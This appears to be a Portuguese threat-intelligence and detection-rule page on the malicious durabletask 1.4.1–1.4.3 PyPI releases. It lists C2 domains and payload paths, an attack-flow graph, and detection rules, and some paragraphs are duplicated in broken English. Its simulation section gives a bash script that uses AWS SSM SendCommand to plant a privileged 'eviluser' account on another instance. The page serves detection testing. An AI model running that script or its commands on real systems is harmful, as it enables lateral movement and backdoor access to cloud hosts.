durabletask: Comprometimento mais recente da cadeia de suprimentos PyPI pelo TeamPCP
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um ataque à cadeia de suprimentos mirou no Microsoft durabletask pacote Python no PyPI, resultando na publicação de versões maliciosas 1.4.1, 1.4.2, e 1.4.3. O invasor teria usado uma conta de GitHub comprometida para obter um token PyPI e carregar arquivos de roda armados. A carga maliciosa foi entregue através de rope.pyz arquivos projetados para roubar credenciais de nuvem e se espalhar para sistemas adicionais. Os esforços de detecção devem se concentrar em arquivos temporários específicos, atividade de processo suspeita e tráfego para os domínios de comando e controle identificados.
Investigação
Wiz vinculou a conta GitHub comprometida à campanha anterior @antv . Sua análise revelou que o invasor reutilizou mensagens de commit e acessou segredos vazados do GitHub contendo o token de publicação do PyPI. Os arquivos de roda maliciosos incluíram um componente transformers.pyz que deixou rope.pyz cargas úteis em /tmp e iniciou comunicação de comando e controle com check.git-service.com and t.m-kosche.com.
Mitigação
As organizações devem girar quaisquer credenciais de nuvem e gerenciadores de senhas potencialmente expostos, bloquear os domínios e URLs de comando e controle identificados, e procurar indicadores de infecção, como ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Qualquer managed.pyz or arquivos rope-*.pyz temporários devem ser removidos, e processos Python relacionados devem ser encerrados. As ações do GitHub e os fluxos de trabalho de publicação no PyPI também devem ser endurecidos para reduzir o risco de compromissos semelhantes. files should be removed, and related Python processes should be terminated. GitHub Actions and PyPI publishing workflows should also be hardened to reduce the risk of similar compromise.
Resposta
As equipes de segurança devem identificar qualquer uso de durabletask versões 1.4.1 através de 1.4.3, procurar por /tmp/managed.pyz and /tmp/rope-*.pyz, e monitorar para processos python3 executando esses arquivos. O tráfego DNS e HTTP de saída para processes executing those files. Outbound DNS and HTTP traffic to check.git-service.com and t.m-kosche.com deve ser bloqueado, enquanto os logs de auditoria do CloudTrail e Kubernetes devem ser revisados em busca de atividades suspeitas de SSM ou kubectl exec . Credenciais afetadas devem ser giradas imediatamente, e os logs do gerenciador de senha devem ser verificados por sinais de acesso não autorizado ou força bruta.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodes initial_node["<b>Start</b>: Attacker obtains valid GitHub credentials"] class initial_node action action_initial_access["<b>Action</b> – <b>T1078 Valid Accounts</b>: Compromised GitHub account provides repository access"] class action_initial_access action tool_gitHub["<b>Tool</b> – <b>Name</b>: GitHub<br/><b>Role</b>: Source code hosting platform"] class tool_gitHub tool action_cred_exploit["<b>Action</b> – <b>T1212 Exploitation for Credential Access</b>: Dumped GitHub secrets to obtain PyPI token"] class action_cred_exploit action file_pypi_token["<b>File</b> – <b>Name</b>: PyPI token"] class file_pypi_token file action_cred_password_stores["<b>Action</b> – <b>T1555.005 Password Managers</b> & <b>T1555.006 Cloud Secrets Management Stores</b>: Harvested credentials for cloud platforms and password managers"] class action_cred_password_stores action credential_aws["<b>Credential</b>: AWS access keys and SSM token"] class credential_aws credential credential_azure["<b>Credential</b>: Azure service principal"] class credential_azure credential credential_gcp["<b>Credential</b>: GCP service account"] class credential_gcp credential credential_k8s["<b>Credential</b>: Kubernetes service account token"] class credential_k8s credential credential_vault["<b>Credential</b>: HashiCorp Vault token"] class credential_vault credential action_supply_chain["<b>Action</b> – <b>T1195.002 Compromise Software Supply Chain</b>: Used PyPI token to publish malicious durabletask 1.4.1u20111.4.3 packages"] class action_supply_chain action tool_pypi["<b>Tool</b> – <b>Name</b>: PyPI repository"] class tool_pypi tool malware_durabletask["<b>Malware</b> – <b>Name</b>: durabletask package (malicious)"] class malware_durabletask malware action_execution["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b>: Victims install compromised package causing payload download"] class action_execution action file_managed["<b>File</b> – <b>Path</b>: /tmp/managed.pyz"] class file_managed file file_rope["<b>File</b> – <b>Path</b>: /tmp/rope-*.pyz"] class file_rope file action_defense_evasion["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b>: Malicious code executed via Python import hooks"] class action_defense_evasion action action_persistence["<b>Action</b> – <b>T1176 Software Extensions</b>: Injection points in __init__.py and other modules"] class action_persistence action action_credential_dumping["<b>Action</b> – <b>T1003 OS Credential Dumping</b>: Extracted AWS SSM tokens, Kubernetes tokens and shell history"] class action_credential_dumping action action_lateral_movement["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b>: Propagated to additional hosts via AWS SSM and Kubernetes exec"] class action_lateral_movement action tool_aws_ssm["<b>Tool</b> – <b>Name</b>: AWS SSM"] class tool_aws_ssm tool tool_k8s_exec["<b>Tool</b> – <b>Name</b>: Kubernetes exec"] class tool_k8s_exec tool op_and(("AND")) class op_and operator action_c2["<b>Action</b> – <b>T1219 Remote Access Tools</b> & <b>T1071.001 Web Protocols</b>: Communicates with C2 domains using /v1/models endpoint"] class action_c2 action c2_domain1["<b>C2 Domain</b>: check.git-service.com"] class c2_domain1 c2 c2_domain2["<b>C2 Domain</b>: t.mu2011kosche.com"] class c2_domain2 c2 action_exfiltration["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b>: Sent data to /api/public/version endpoint"] class action_exfiltration action exfil_endpoint["<b>Endpoint</b>: /api/public/version"] class exfil_endpoint c2 %% Connections initial_node –>|leads_to| action_initial_access action_initial_access –>|enables| action_cred_exploit action_cred_exploit –>|captures| file_pypi_token file_pypi_token –>|used_by| action_supply_chain action_supply_chain –>|publishes| malware_durabletask malware_durabletask –>|installed_by| action_execution action_execution –>|downloads| file_managed action_execution –>|downloads| file_rope file_managed –>|executed_via| action_defense_evasion file_rope –>|executed_via| action_defense_evasion action_defense_evasion –>|establishes| action_persistence action_persistence –>|enables| action_credential_dumping action_credential_dumping –>|collects| credential_aws action_credential_dumping –>|collects| credential_azure action_credential_dumping –>|collects| credential_gcp action_credential_dumping –>|collects| credential_k8s action_credential_dumping –>|collects| credential_vault credential_aws –>|used_for| action_lateral_movement credential_k8s –>|used_for| action_lateral_movement action_lateral_movement –>|leverages| tool_aws_ssm action_lateral_movement –>|leverages| tool_k8s_exec action_lateral_movement –>|spreads_to| op_and op_and –>|connects_to| action_c2 action_c2 –>|contacts| c2_domain1 action_c2 –>|contacts| c2_domain2 c2_domain1 –>|receives_data_via| action_exfiltration c2_domain2 –>|receives_data_via| action_exfiltration action_exfiltration –>|sends_to| exfil_endpoint "
Fluxo de Ataque
Detecções
Download de Executável Suspeito (via proxy)
Visualizar
Script Linux Criado em Pastas Temporárias (via file_event)
Visualizar
Arquivo Oculto Criado em Host Linux (via file_event)
Visualizar
IOCs (HashSha256) para detectar: durabletask: Último Comprometimento PyPi da TeamPCP
Visualizar
Conexão de Saída para Domínios de C2 da TeamPCP [Proxy]
Visualizar
Detectar Execução de Payload Python via /tmp/managed.pyz [Criação de Processo no Linux]
Visualizar
Detecção de Propagação AWS SSM via SSM:SendCommand e SSM:DescribeInstanceInformation [AWS Cloudtrail]
Visualizar
Execução de Simulação
Pré-requisito: O Check de Pré-voo de Telemetria & Baseline deve ter passado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e tentar gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa e Comandos de Ataque:
Um adversário obteve credenciais em uma instância EC2 comprometida (Instância A). Usando essas credenciais, o atacante usa o Gerenciador de Sistemas da AWS para infiltrar uma segunda instância (Instância B) sem abrir qualquer porta de rede. Os passos são:- Enumerar instâncias alcançáveis via
SSM:DescribeInstanceInformationpara localizar alvos. - Emitir um comando malicioso através de
SSM:SendCommand(por exemplo, criar um novo usuário privilegiado) na instância alvo. - Validar execução recuperando a saída do comando.
O atacante usa o AWS CLI, que gera diretamente eventos CloudTrail para ambas as chamadas API, satisfazendo as condições da regra.
- Enumerar instâncias alcançáveis via
-
Script de Teste de Regressão: O script abaixo reproduz o ataque em um laboratório controlado. Espera-se que o AWS CLI seja configurado com credenciais que tenham permissões
ssm:SendCommandandssm:DescribeInstanceInformation.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variáveis – ajuste para o seu ambiente de laboratório # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Instância A (ponto de apoio do atacante) TARGET_INSTANCE="i-0fedcba9876543210" # Instância B (alvo lateral) # 1️⃣ Enumerar instâncias gerenciadas pelo SSM (aciona DescribeInstanceInformation) echo "[*] Enumerando instâncias gerenciadas pelo SSM..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Enviar um comando malicioso para o alvo (aciona SendCommand) echo "[*] Enviando payload malicioso para $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Persistir usuário malicioso" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Recuperar ID do comando e aguardar conclusão (opcional) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] ID do Comando: $CMD_ID – aguardando execução..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulação completa. O CloudTrail agora deve conter eventos SSM:DescribeInstanceInformation e SSM:SendCommand." -
Comandos de Limpeza: Remova o usuário malicioso e delete qualquer histórico de comandos residual.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Limpando artefatos maliciosos em $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Limpeza após teste" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"